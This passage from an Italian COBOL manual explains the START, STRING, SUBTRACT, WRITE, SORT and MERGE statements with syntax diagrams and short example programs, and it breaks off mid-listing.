	Variabile ricevente di tipo numerico intero (*integer data item*)	Variabile ricevente di tipo indice associata a una tabella (*index name*)	Variabile ricevente di tipo indice non associata ad alcuna tabella (*index data item*)
Valore assegnato costituito da una costante numerica intera	non ammesso	assegnamento valido	non ammesso
Valore assegnato costituito da una variabile numerica intera	non ammesso	assegnamento valido	non ammesso
Valore assegnato costituito da una variabile di tipo indice associata a una tabella	assegnamento valido	assegnamento valido	assegnamento valido
Valore assegnato costituito da una variabile di tipo indice non associata ad alcuna tabella	non ammesso	assegnamento valido	assegnamento valido

A seconda delle caratteristiche del compilatore, l'assegnamento di un valore a un indice può richiedere l'esecuzione di una conversione numerica appropriata.

83.12.20 Istruzione «START»

L'istruzione '**START**' consente di posizionare il puntatore del record logico di un file relativo o a indice, per il quale sia stato previsto un accesso sequenziale o dinamico.

```
                  .--                                        --.
                  |        /  IS EQUAL TO        \            |
                  |        |     -----           |            |
                  |        |  IS =               |            |
                  |        |     -               |            |
                  |        |  IS GREATER THAN    |            |
START  file-name  |  KEY   <     -------         >  data-name |
-----             |  ---   |  IS >               |            |
                  |        |     -               |            |
                  |        |  IS NOT LESS THAN   |            |
                  |        |     --- ----        |            |
                  |        \  IS NOT <           /            |
                  '--            --- -                      --'

        [ INVALID KEY { imperative-statement }... ]
          -------
```

Il file indicato dopo la parola chiave '**START**' è quello all'interno del quale si vuole posizionare il puntatore del record logico. Come accennato, il file deve essere organizzato in modo relativo o a indice; inoltre, deve essere stato aperto in lettura ('**INPUT**') o in lettura e scrittura ('**I-O**').

La variabile che appare alla fine dello schema sintattico (***data-name***), può avere due significati differenti: se si tratta di un file organizzato in modo relativo, questa deve individuare la variabile definita con la dichiarazione '**RELATIVE KEY**' dell'istruzione '**SELECT**' del file stesso; se

si tratta di un file organizzato a indice, deve trattarsi della chiave di ordinamento (dichiarata come '**RECORD KEY**' o '**ALTERNATE RECORD KEY**' nell'istruzione '**SELECT**'), tenendo conto che può trattarsi di una porzione inferiore della chiave stessa, purché questa porzione si trovi a partire dall'inizio (a sinistra) della chiave.

L'opzione '**INVALID KEY**' introduce una o più istruzioni che vengono eseguite nel caso l'istruzione '**START**' fallisca a causa dell'indicazione di una chiave che con combacia secondo il tipo di confronto richiesto.

Nello schema sintattico, la parola chiave '**KEY**' precede un gruppo di parole che servono a stabilire la ***condizione di ricerca***. La corrispondenza con la chiave (costituita dal numero del record o dalla chiave di ordinamento vera e propria) può essere richiesta in modo esatto, oppure attraverso un altro tipo di relazione. Il record che per primo soddisfa la condizione di ricerca, è quello che viene selezionato. Una volta eseguita la selezione, il record potrebbe essere letto con l'istruzione '**READ**'.

Tabella 83.232. Condizione di ricerca.

Operatore	Descrizione

`KEY IS EQUAL TO data-name`
`---    -----`
`KEY IS = data-name`
`---    -`
	la chiave, o la sua porzione, corrisponde esattamente

`KEY IS GREATER THAN data-name`
`---    -------`
`KEY IS > data-name`
`---    -`
	la chiave del record è superiore al valore specificato

`KEY IS NOT LESS THEN data-name`
`---    --- ----`
`KEY IS NOT < THEN data-name`
`---    --- -`
	la chiave del record non è inferiore (è maggiore o uguale) al valore specificato

La condizione di ricerca (assieme alla parola chiave '**KEY**') e il nome della variabile che ha il ruolo di chiave, possono essere omessi. In tal caso, la ricerca avviene in base alla corrispondenza esatta con il valore che ha la variabile che costituisce la chiave relativa del file, oppure con quello che ha il campo della chiave primaria dello stesso.

Quando la chiave indicata nell'istruzione '**START**' corrisponde a una porzione iniziale della chiave primaria o secondaria del file, il confronto si basa solo su quella porzione di chiave, ignorando il resto; nello stesso modo, se la chiave indicata nell'istruzione è più grande della chiave primaria o di quella secondaria, il confronto si basa solo sulla dimensione della chiave che ha il file effettivamente (che risulta essere più breve).

Comunque sia l'esito della ricerca, l'esecuzione dell'istruzione '**START**', provoca l'aggiornamento della variabile che rappresenta lo stato del file ('**FILE STATUS**').

Listato 83.233. Programma elementare che legge un file relativo, ad accesso sequenziale, partendo dal terzo record.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-READ-SEQ-START.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-13.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-LEGGERE ASSIGN TO "input.rel"
001300                            ORGANIZATION IS RELATIVE
001400                            RELATIVE KEY IS N-RECORD
001500                            ACCESS MODE IS SEQUENTIAL.
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-DA-LEGGERE
002200     LABEL RECORD IS STANDARD.
002300*
002400 01  RECORD-DA-LEGGERE PIC X(30).
002500*
002600 WORKING-STORAGE SECTION.
002700 77  EOF                PIC 9   VALUE ZERO.
002800 77  N-RECORD           PIC 999 VALUE ZERO.
002900*
003000 PROCEDURE DIVISION.
003100*------------------------- LIVELLO 0 -----------------------------
003200 MAIN.
003300     OPEN INPUT FILE-DA-LEGGERE.
003400     MOVE 3 TO N-RECORD.
003500     START FILE-DA-LEGGERE KEY IS EQUAL TO N-RECORD
003600           INVALID KEY
003700                      MOVE 1 TO EOF.
003800     READ FILE-DA-LEGGERE
003900          AT END
004000                MOVE 1 TO EOF.
004100     PERFORM LETTURA UNTIL EOF = 1.
004200     CLOSE FILE-DA-LEGGERE.
004300*
004400     STOP RUN.
004500*------------------------- LIVELLO 1 -----------------------------
004600 LETTURA.
004700     DISPLAY RECORD-DA-LEGGERE.
004800     READ FILE-DA-LEGGERE
004900          AT END
005000                MOVE 1 TO EOF.
```

```
005100*
```

83.12.21 Istruzione «STOP RUN»

L'istruzione '**STOP RUN**' conclude il funzionamento del programma; pertanto, può trovarsi soltanto alla fine di un gruppo di istruzioni.

```
STOP RUN.
---- ---
```

Storicamente esiste una versione alternativa, ma superata, dell'istruzione '**STOP**', alla quale si associa una costante, allo scopo di mostrare tale valore attraverso il terminale principale. In quella situazione, l'esecuzione del programma veniva sospesa e poteva essere fatta riprendere dall'utente.

Considerato che esiste la possibilità di usare istruzioni come '**DISPLAY**' e '**ACCEPT**', è meglio utilizzare esclusivamente l'istruzione '**STOP RUN**' per l'arresto del programma, senza altre varianti.

83.12.22 Istruzione «STRING»

L'istruzione '**STRING**' consente di riempire delle variabili alfanumeriche specificando un punto di inizio, espresso in caratteri.

```
        / /                 \                   /  identifier-2  \  \
        | |  identifier-1   |                   |                |  |
STRING  < <                 >... DELIMITED BY   <  literal-2     >  >...
------  | |  literal-1      |    ---------      |                |  |
        \ \                 /                   \  SIZE          /  /
                                                   ----
    INTO  identifier-3
    ----
    [ WITH POINTER  identifier-4 ]
           -------
    [ ON OVERFLOW  { imperative-statement-1 }... ]
         --------
```

Quello che si mette dopo la parola chiave '**STRING**' è un elenco di valori che si traducono in informazioni alfanumeriche, che vengono considerati come se fossero concatenati tra di loro. Dopo la parola '**DELIMITED**' si deve specificare un modo per delimitare la stringa complessiva indicata a sinistra. Se si usa la parola chiave '**SIZE**', si intende considerare tutta la stringa alfanumerica complessiva, altrimenti, si seleziona solo la parte che si trova a sinistra, prima di ciò che viene indicato come riferimento.

La stringa complessiva, eventualmente ridotta a destra in qualche modo, viene copiata all'interno della variabile indicata dopo la parola '**INTO**'. La stringa viene copiata a partire dalla prima posizione, oppure dalla posizione specificata dal numero indicato dopo la parola '**POINTER**'. Dopo la parola '**POINTER**' va indicata una variabile numerica, che, oltre a indicare la posizione iniziale dell'inserimento della stringa, viene incrementata di conseguenza, per i caratteri che vengono inseriti effettivamente.

Se si utilizza la parola '**OVERFLOW**', le istruzioni che appaiono subito dopo tale parola vengono eseguite se l'inserimento nella variabile di destinazione va oltre la fine della variabile stessa.

L'esempio successivo mostra un piccolo programma completo che compila in più fasi una variabile ricevente. La variabile ricevente contiene inizialmente una serie di simboli '**#**', per consentire di vedere facilmente cosa succede al suo interno, durante le varie fasi.

Listato 83.236. Programma elementare che dimostra il funzionamento di '**STRING**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-STRING.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               OPENCOBOL 0.31,
000600 DATE-WRITTEN. 2005-03-16.
000700*
000800 ENVIRONMENT DIVISION.
000900*
001000 DATA DIVISION.
001100*
001200 WORKING-STORAGE SECTION.
001300 77  TESTO-RICEVENTE      PIC X(40) VALUE ALL "#".
001400 77  PUNTATORE            PIC 99.
001500*
001600 PROCEDURE DIVISION.
001700*------------------------- LIVELLO 0 -----------------------------
001800 MAIN.
001900     MOVE 1 TO PUNTATORE.
002000     DISPLAY PUNTATORE, " ", TESTO-RICEVENTE.
002100     STRING "CIAO", SPACE, DELIMITED BY SIZE
002200            INTO TESTO-RICEVENTE WITH POINTER PUNTATORE.
002300     DISPLAY PUNTATORE, " ", TESTO-RICEVENTE.
002400     STRING "COME STAI?" DELIMITED BY SIZE
002500            INTO TESTO-RICEVENTE WITH POINTER PUNTATORE.
002600     DISPLAY PUNTATORE, " ", TESTO-RICEVENTE.
002700     MOVE 11 TO PUNTATORE.
002800     STRING "VA LA VITA?" DELIMITED BY SIZE
002900            INTO TESTO-RICEVENTE WITH POINTER PUNTATORE.
003000     DISPLAY PUNTATORE, " ", TESTO-RICEVENTE.
003100*
003200     STOP RUN.
003300*
```

Dopo aver compilato il programma, eseguendo ciò che si ottiene, di dovrebbe vedere il risultato seguente attraverso il terminale:

```
01 ########################################
06 CIAO ###################################
16 CIAO COME STAI?#########################
22 CIAO COME VA LA VITA?###################
```

Come si può vedere leggendo il sorgente del programma, dopo l'inserimento della stringa '**CIAO** ', la variabile usata come puntatore all'interno della variabile di destinazione, si trova a essere già posizionata sulla sesta colonna, in modo che un inserimento ulteriore si trovi già nella posizione necessaria. Dopo, viene riposizionato il puntatore per sovrascrivere la parola «STAI».

83.12.23 Istruzione «SUBTRACT»

L'istruzione '**SUBTRACT**' consente di eseguire delle sottrazioni. Sono previsti diversi formati per l'utilizzo di questa istruzione.

```
              /               \  .--             --.
              | identifier-1 |  |  identifier-2  |
    SUBTRACT  <               >  |                 |...
    --------  | literal-1    |  |  literal-2     |
              \               /  '--             --'

         FROM { identifier-m  [ROUNDED] }...
         ----                  -------
         [ ON SIZE ERROR  imperative-statement ]
              ---- -----
```

Nello schema sintattico appena mostrato, si vede che dopo la parola chiave '**SUBTRACT**' si elencano delle costanti o variabili con valore numerico, che vengono sommate assieme inizialmente, per poi sottrarre tale valore dal contenuto delle variabili specificate dopo la parola chiave '**FROM**'. L'opzione '**ROUNDED**' richiede di eseguire un arrotondamento se la variabile ricevente non può rappresentare in modo esatto il valore; l'opzione '**SIZE ERROR**' serve a eseguire un'istruzione nel caso una delle variabili riceventi non possa accogliere la porzione più significativa del valore ottenuto dalla somma. Si osservi l'esempio seguente:

```
000000     SUBTRACT 1, 2, 3, FROM A.
```

Supponendo che la variabile '**A**', prima della somma contenga il valore 10, dopo la somma contiene il valore 4 (10-1-2-3).

```
             /               \  .-- /               \ --.
             | identifier-1 |  |    | identifier-2 |   |
    SUBTRACT <               >  |    <               >   |...
    -------- | literal-1    |  |    | literal-2    |   |
             \               /  '-- \               / --'

             /               \
             | identifier-3 |
        FROM <               >  [ROUNDED] ...
        ---- | identifier-3 |   -------
             \               /

        GIVING { identifier-n  [ROUNDED] }...
        ------                  -------
        [ ON SIZE ERROR  imperative-statement ]
             ---- -----
```

Quando si utilizza la parola chiave '**GIVING**', si può indicare un solo valore dopo la parola chiave '**FROM**' e il risultato della sottrazione viene assegnato alle variabili che sono elencate dopo la parola '**GIVING**', senza tenere in considerazione il loro valore iniziale. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'. Si osservi l'esempio seguente:

```
000000     SUBTRACT 1, 2, 3, FROM 10 GIVING A.
```

Qualunque sia il valore iniziale della variabile '**A**', dopo la somma questa contiene il valore 4

(10-1-2-3).

```
           /                \
           | CORR           |
SUBTRACT  <  ----            >  identifier-1  FROM  identifier-2  [ROUNDED]
--------   | CORRESPONDING  |                 ----                 -------
           \ -------------  /

    [ ON SIZE ERROR  imperative-statement ]
         ---- -----
```

In questo ultimo caso, la sottrazione fa riferimento a variabili strutturate, dove i campi della prima variabile devono essere sottratti ai campi della seconda variabile che hanno lo stesso nome della prima. Valgono le stesse considerazioni già fatte a proposito delle opzioni '**ROUNDED**' e '**SIZE ERROR**'.

83.12.24 Istruzione «WRITE»

L'istruzione '**WRITE**' scrive un record logico in un file, aperto in modo appropriato. Nel caso di un file organizzato in modo sequenziale, il file può essere aperto in scrittura ('**OUTPUT**') o in estensione ('**EXTEND**'); nel caso di un file ad accesso diretto, organizzato in modo relativo o a indice, questo può essere stato aperto in scrittura ('**OUTPUT**') o in lettura e scrittura ('**I-O**'), inoltre, se si usa l'accesso sequenziale, è consentito anche in caso di apertura in estensione ('**EXTEND**').

L'istruzione '**WRITE**' viene usata con due schemi sintattici alternativi: uno per i file organizzati in modo sequenziale e l'altro per tutti gli altri casi. Il formato adatto ai file sequenziali contiene, in particolare, opzioni specifiche per l'avanzamento della carta di una stampante.

File organizzati in modo sequenziale

```
WRITE  record-name  [ FROM identifier-1 ]
-----                 ----
     .--                                                               --.
     |                       /  /               \  .--     --.  \      |
     |                       |  | identifier-2  |  |  LINE    |  |      |
     |                       |  <                >  |          |  |      |
     |  /        \           |  | integer-1     |  |  LINES   |  |      |
     |  | AFTER  |           |  \               /  `--     --'  |      |
     |  < -----   >  ADVANCING <                                  >      |
     |  | BEFORE |           |  /                \                |      |
     |  \ ------ /           |  | mnemonic-name  |                |      |
     |                       |  <                 >               |      |
     |                       |  | PAGE           |                |      |
     |                       \  \ ----           /                /      |
     `--                                                               --'
```

File organizzati in modo relativo e a indice

```
WRITE  record-name  [ FROM identifier-1 ]
-----                 ----
    [ INVALID KEY { imperative-statement }... ]
      -------
```

Gli schemi sintattici mostrati hanno in comune la prima parte: il nome della variabile che fa riferimento al record, serve a individuare implicitamente il file; la variabile indicata dopo la parola opzionale '**FROM**', permette di copiare tale variabile su quella del record, prima di procedere alla scrittura, come se si usasse l'istruzione '**MOVE**' prima di '**WRITE**':

```
MOVE identifier-1 TO record-name;
----
WRITE record-name
-----
    [ omissis ]
```

Quando la scrittura avviene con successo, il contenuto del record non è più disponibile in memoria, a meno di averne una copia per altri motivi (per esempio a causa dell'utilizzo dell'opzione '**FROM**').

La scrittura di un file organizzato in modo sequenziale implica l'utilizzo del primo schema sintattico. Nello schema sintattico non è previsto il controllo di alcuna condizione di errore, che comunque potrebbe verificarsi, quando per qualche ragione non è possibile scrivere nel file. Le opzioni '**AFTER ADVANCING**' e '**BEFORE ADVANCING**', servono rispettivamente per richiedere un avanzamento preventivo o successivo alla scrittura. Per un file di dati, non ha significato l'uso di tali opzioni, che invece servono precisamente per la stampa, o per la creazione di file di testo (destinati eventualmente alla stampa). L'avanzamento può essere specificato in un numero intero di righe (***identifier-2*** o ***integer-1***), oppure richiedendo un salto pagina, con la parola chiave '**PAGE**'. Il nome mnemonico che può essere indicato in alternativa alla parola chiave '**PAGE**' può servire per attribuire un nome alternativo proprio alla parola '**PAGE**', oppure a fare riferimento a un'altra parola chiave (alternativa a '**PAGE**'), che si riferisce a caratteristiche speciali, legate alla stampa, che il proprio compilatore può gestire.

Si osservi che un file organizzato in modo sequenziale, per il quale abbiano senso le opzioni di avanzamento, è bene che sia stato dichiarato con l'opzione '**LINE SEQUENTIAL**'.

Il secondo schema sintattico può essere usato per i file che non hanno un'organizzazione sequenziale. In questo caso vengono a mancare i controlli di avanzamento della riga o della pagina, ma si aggiunge la verifica di un errore di scrittura, attraverso l'opzione '**INVALID KEY**', dopo la quale appaiono le istruzioni da eseguire in caso di problemi.

Nel caso di file organizzati in modo relativo, ad accesso sequenziale, il comportamento è lo stesso che si avrebbe con un file sequenziale puro e semplice, con la differenza che la variabile designata a contenere il numero del record viene impostata automaticamente e che si può verificare la condizione controllata dall'opzione '**INVALID KEY**' se si tenta di espandere il file oltre i limiti imposti esternamente al programma. Se invece questo tipo di file viene usato con un accesso diretto o dinamico, il numero del record (inserito nella variabile definita con la dichiarazione '**RELATIVE KEY**' dell'istruzione '**SELECT**' del file stesso) deve essere indicato espressamente: se il numero indicato corrisponde a un record già esistente, oppure se si tenta di scrivere oltre i limiti stabiliti esternamente al programma, si ottiene la condizione di errore controllata dall'opzione '**INVALID KEY**'.

Nel caso di file organizzati a indice, l'inserimento dei record avviene tenendo conto delle chiavi previste per questo. In linea di principio, le chiavi non devono essere doppie; pertanto, il tentativo di inserire un record che contiene una chiave già esistente nel file (primaria o secondaria che sia), provoca un errore che può essere controllato attraverso l'opzione '**INVALID KEY**'. Naturalmente, se nella dichiarazione delle chiavi è stato stabilito che possono anche essere doppie, tale errore non si verifica e la scrittura avviene con successo.

Un file organizzato a indice può essere scritto utilizzando un accesso sequenziale, ma in tal caso, la scrittura deve avvenire rispettando l'ordine crescente della chiave primaria, altrimenti si verifica un errore che si può controllare con l'opzione '**INVALID KEY**'.

L'utilizzo dell'istruzione '**WRITE**' implica l'aggiornamento della variabile che rappresenta lo stato del file ('**FILE STATUS**').

83.13 Riordino e fusione

Il riordino e la fusione del contenuto dei file sono gestite normalmente attraverso funzionalità speciali del linguaggio COBOL. Si utilizzano in particolare file dichiarati con l'indicatore di livello '**SD**' nella sezione '**FILE SECTION**', per svolgere la funzione di riordino o di fusione, mentre i file da ordinare o da fondere, assieme al risultato dell'ordinamento o della fusione, possono essere file normali organizzati secondo le esigenze del programma.

I file che prendono parte alle operazioni di riordino e di fusione, **non devono essere aperti o chiusi** durante tali operazioni.

83.13.1 Riordino

Il riordino di un file, con l'istruzione '**SORT**' del COBOL, richiede in linea di massima il coinvolgimento di tre file: il file che formalmente serve come appoggio per svolgere la funzione di ordinamento, dichiarato nella sezione '**FILE SECTION**' con l'indicatore di livello '**SD**'; un file per i dati in ingresso da ordinare; un file per accogliere il risultato del procedimento di ordinamento.

```
                    /      /             \                           \
                    |      |  ASCENDING  |                           |
SORT  file-name-1   <  ON  <  ---------  >  KEY  { data-name-1 }...  >...
----                |      |  DESCENDING |                           |
                    \      \  ---------- /                           /

    /                                        .--  /          \                 --.  \
    |                                        |    |  THROUGH |                   |  |
    |  INPUT PROCEDURE IS  procedure-name-1  |    <  ------- >  procedure-name-2 |  |
    <  ----- ---------                       |    |  THRU    |                   |  >
    |                                        '--  \  ----    /                 --'  |
    |                                                                               |
    \  USING  { file-name-2 }...                                                    /
       -----
    /                                         .--  /          \                 --.  \
    |                                         |    |  THROUGH |                   |  |
    |  OUTPUT PROCEDURE IS  procedure-name-3  |    <  ------- >  procedure-name-4 |  |
    <  ------ ---------                       |    |  THRU    |                   |  >
    |                                         '--  \  ----    /                 --'  |
    |                                                                                |
    \  GIVING  { file-name-3 }...                                                    /
       ------
```

Il file che nello schema sintattico appare nominato come ***file-name-1***, è quello che deve essere dichiarato nella sezione '**FILE SECTION**' con l'indicatore di livello '**SD**'. Dopo la parola '**ASCENDING**' si indica un elenco di chiavi di ordinamento crescenti; dopo la parola '**DESCENDING**' si indica un elenco di chiavi di ordinamento decrescenti. Le chiavi di ordinamento sono campi del record del file ***file-name-1*** e la possibilità di indicare più chiavi serve a definire una gerarchia di ordinamento quando se ne crea la necessità. In pratica, la presenza di più chiavi fa sì che in presenza di chiavi doppie a un certo livello gerarchico, permetta di distinguere l'ordine dei record utilizzando anche le chiavi di livello inferiore.

> Nell'ordinamento di un file, la presenza di record con tutte le chiavi previste doppie, ha l'unico inconveniente di non poter stabilire quale sequenza effettiva ottengono tali record dopo l'ordinamento.

Il file da ordinare può essere costituito dal nome che appare dopo la parola '**USING**', oppure può essere generato da un gruppo di procedure del programma, specificate dopo le parole '**INPUT PROCEDURE**'. Il file indicato dopo la parola '**USING**' è un file dichiarato normalmente, con l'organizzazione e l'accesso desiderati.

Il file che risulta dall'ordinamento può essere costituito dal nome che appare dopo la parola '**GIVING**', oppure può essere letto da un gruppo di procedure del programma, specificate dopo le parole '**OUTPUT PROCEDURE**'. Il file indicato dopo la parola '**GIVING**' è un file dichiarato normalmente, con l'organizzazione e l'accesso desiderati.

La gestione dei dati in ingresso o in uscita, attraverso delle procedure, viene descritto in altre sezioni; per il momento viene mostrato un esempio di ordinamento tipico, che coinvolge il file per il riordino, più due file per i dati (in ingresso e in uscita).

Listato 83.247. Programma elementare che dimostra il funzionamento di '**SORT**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-SORT.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-ORDINARE     ASSIGN TO "input.seq".
001300     SELECT FILE-ORDINATO        ASSIGN TO "output.seq".
001400     SELECT FILE-PER-IL-RIORDINO ASSIGN TO "sort.tmp".
001500*
001600 DATA DIVISION.
001700*
001800 FILE SECTION.
001900*
002000 FD  FILE-DA-ORDINARE.
002100 01  RECORD-DA-ORDINARE           PIC X(10).
002200*
002300 FD  FILE-ORDINATO.
002400 01  RECORD-ORDINATO              PIC X(10).
002500*
002600 SD  FILE-PER-IL-RIORDINO.
002700*
002800 01  RECORD-PER-IL-RIORDINO.
002900     02  CHIAVE-ORDINAMENTO       PIC X(5).
003000     02  FILLER                   PIC X(5).
003100*
003200 PROCEDURE DIVISION.
003300*------------------------- LIVELLO 0 -----------------------------
003400 MAIN.
003500     SORT FILE-PER-IL-RIORDINO,
003600          ON ASCENDING KEY CHIAVE-ORDINAMENTO,
003700          USING FILE-DA-ORDINARE,
003800          GIVING FILE-ORDINATO.
```

```
003900*
004000     STOP RUN.
004100*
```

Nell'esempio, il file usato per ottenere il riordino è '`sort.tmp`'; il file da ordinare è '`input.seq`' (organizzato in modo sequenziale); il file ordinato che si ottiene è '`output.seq`' (anche questo organizzato in modo sequenziale). Come chiave di ordinamento si prendono in considerazione i primi cinque byte del record.

Lo schema sintattico consentirebbe l'indicazione di più file da ordinare e di più file ordinati da generare. Nel primo caso, i dati dei vari file vengono raccolti assieme e considerati parte di un file unico da ordinare; i file ordinati da generare, invece, rappresentano copie dello stesso risultato ordinato.

83.13.2 Fusione

La fusione di due o più file, con l'istruzione '**`MERGE`**' del COBOL, richiede la presenza di due o più file ordinati nello stesso modo, che si vogliono mettere insieme in un solo file ordinato. Per compiere questa funzione, si aggiunge un file ulteriore, dichiarato nella sezione '**`FILE SECTION`**' con l'indicatore di livello '**`SD`**'.

```
                     /      /           \                      \
                     |      |  ASCENDING  |                      |
MERGE  file-name-1   <  ON  <  ---------  >  KEY  { data-name-1 }...  >...
-----                |      |  DESCENDING |                      |
                     \      \  ---------- /                      /

    USING  file-name-2  { file-name-3 }...
    -----
    /                                          .--  /           \                 --.  \
    |                                          |    |  THROUGH  |                   |  |
    |  OUTPUT PROCEDURE IS  procedure-name-1   |    <  -------  >  procedure-name-2  |  |
    <  ------ ---------                        |    |  THRU     |                   |  >
    |                                          `--  \  ----     /                 --'  |
    |                                                                                   |
    \  GIVING  { file-name-4 }...                                                       /
       ------
```

La prima parte dello schema sintattico va interpretata nello stesso modo di quello per il riordino; dove ***file-name-1*** è il file che deve essere dichiarato nella sezione '**`FILE SECTION`**' con l'indicatore di livello '**`SD`**' e le variabili indicate dopo le parole '**`ASCENDING`**' o '**`DESCENDING`**' sono le chiavi di ordinamento previste nei file in ingresso.

Successivamente si può osservare nello schema sintattico che sono previsti soltanto file in ingresso, dopo la parola '**`USING`**', tenendo in considerazione il fatto che devono essere almeno due. Questi file **devono risultare già ordinati** secondo le chiavi previste, altrimenti il risultato della fusione non è prevedibile.

Il risultato della fusione può essere costituito dal nome che appare dopo la parola '**`GIVING`**', oppure può essere letto da un gruppo di procedure del programma, specificate dopo le parole '**`OUTPUT PROCEDURE`**'. Il file indicato dopo la parola '**`GIVING`**' è un file dichiarato normalmente, con l'organizzazione e l'accesso desiderati.

La gestione dei dati in uscita, attraverso delle procedure, viene descritto in altre sezioni; per il momento viene mostrato un esempio di fusione tipico, si hanno i file '`input-1.seq`' e '`input-2.seq`' ordinati, si vuole ottenere il file '`output.seq`' con la somma dei record, mantenendo l'ordinamento:

Listato 83.249. Programma elementare che dimostra il funzionamento di '**`MERGE`**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-MERGE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-18.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-INPUT-1         ASSIGN TO "input-1.seq".
001300     SELECT FILE-INPUT-2         ASSIGN TO "input-2.seq".
001400     SELECT FILE-OUTPUT          ASSIGN TO "output.seq".
001500     SELECT FILE-PER-LA-FUSIONE  ASSIGN TO "merge.tmp".
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-INPUT-1
002200 01  RECORD-1                     PIC X(10).
002300*
002400 FD  FILE-INPUT-2
002500 01  RECORD-2                     PIC X(10).
002600*
002700 FD  FILE-OUTPUT
002800 01  RECORD-OUTPUT                PIC X(10).
002900*
003000 SD  FILE-PER-LA-FUSIONE.
003100*
003200 01  RECORD-PER-LA-FUSIONE.
003300     02  CHIAVE-ORDINAMENTO       PIC X(5).
003400     02  FILLER                   PIC X(5).
003500*
003600 PROCEDURE DIVISION.
003700*------------------------ LIVELLO 0 -----------------------------
003800 MAIN.
003900     MERGE FILE-PER-LA-FUSIONE
004000           ON ASCENDING KEY CHIAVE-ORDINAMENTO,
004100           USING FILE-INPUT-1,
004200                 FILE-INPUT-2,
004300           GIVING FILE-OUTPUT.
004400*
004500     STOP RUN.
004600*
```

Lo schema sintattico consentirebbe l'indicazione di più file ordinati da generare: se viene indicato più di un file per raccogliere il risultato della fusione, questi ottengono lo stesso contenuto; i file in sé possono essere differenti, se possiedono una diversa organizzazione.

83.13.3 Gestire i dati in ingresso o in uscita attraverso delle procedure

Nelle istruzioni '**SORT**' e '**MERGE**', a seconda dei casi, esiste la possibilità di specificare un gruppo di procedure con le forme seguenti:

```
                                        .--  /          \                 --.
                                        |    |  THROUGH  |                   |
    INPUT PROCEDURE IS  procedure-name-1  |    <  -------  >  procedure-name-2  |
    ----- ---------                     |    |  THRU     |                   |
                                        '--  \  ----     /                 --'
```

```
                                         .--  /          \                 --.
                                         |    |  THROUGH  |                   |
   OUTPUT PROCEDURE IS  procedure-name-1  |    <  -------  >  procedure-name-2  |
   ------ ---------                      |    |  THRU     |                   |
                                         '--  \  ----     /                 --'
```

Queste procedure sono da intendere come un intervallo di sezioni o di paragrafi della divisione '**PROCEDURE DIVISION**', da ***procedure-name-1*** a ***procedure-name-2***. Questa porzione di sezione o di paragrafi deve però rispettare delle condizioni: deve servire esclusivamente per lo scopo del riordino o della fusione; non può contenere chiamate a procedure esterne; non può essere usata nel programma per fini differenti.

In generale, se si intendono usare delle procedure per generare dati da ordinare, leggere i dati ordinati o fusi, conviene gestire la divisione '**PROCEDURE DIVISION**' in sezioni. L'esempio seguente mostra proprio una sezione che potrebbe essere usata per leggere il risultato di un file ordinato o fuso:

Listato 83.252. Esempio di sezione da usare come procedura di uscita di '**SORT**' o '**MERGE**'.

```
004100 MOSTRA-FILE-ORDINATO SECTION.
004200 INIZIO.
004300     PERFORM MOSTRA-RECORD UNTIL EOF = 1.
004400     GO TO FINE.
004500 MOSTRA-RECORD.
004600     RETURN FILE-PER-IL-RIORDINO RECORD
004700           AT END MOVE 1 TO EOF,
004800                  DISPLAY "FINE DEL FILE ORDINATO".
004900     IF EOF = 0
005000     THEN
005100         DISPLAY RECORD-PER-IL-RIORDINO.
005200 FINE.
005300     EXIT.
```

Nell'esempio si vede anche l'uso del famigerato '**GO TO**', allo scopo di uscire dalla sezione dopo l'esecuzione del ciclo di chiamate al paragrafo '**MOSTRA-RECORD**', dal momento che l'istruzione '**EXIT**', secondo lo standard, deve trovarsi da sola in un paragrafo.

83.13.4 Lettura del risultato dell'ordinamento o della fusione attraverso una procedura

Quando si usano le istruzioni '**SORT**' o '**MERGE**', invece di generare un file ordinato o fuso, è possibile leggere il risultato dell'ordinamento o della fusione, specificando la chiamata di un intervallo di procedure (paragrafi o sezioni):

```
                                        .--  /            \                --.
                                        |    |  THROUGH   |                  |
   OUTPUT PROCEDURE IS  procedure-name-1 |    <  -------   >  procedure-name-2 |
   ------ ---------                     |    |  THRU      |                  |
                                        `--  \  ----      /                --'
```

Nell'ambito dell'intervallo di procedure chiamato, occorre usare l'istruzione '**RETURN**' per leggere questi dati dal file di riordino o di fusione:

```
RETURN file-name-1 [NEXT] RECORD  [ INTO identifier ]
------              ----            ----
    AT END  { imperative-statement }...
       ---
```

L'istruzione '**RETURN**' funziona a tutti gli effetti come l'istruzione '**READ**' di un file sequenziale, dove il file indicato è precisamente quello che appare nell'istruzione '**SORT**' o '**MERGE**' chiamante, con la stessa metavariabile.

Listato 83.255. Esempio di lettura del risultato di un ordinamento attraverso una procedura.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   TEST-SORT-4.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-18.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-ORDINARE     ASSIGN TO "input.seq".
001300     SELECT FILE-PER-IL-RIORDINO ASSIGN TO "sort.tmp".
001400*
001500 DATA DIVISION.
001600*
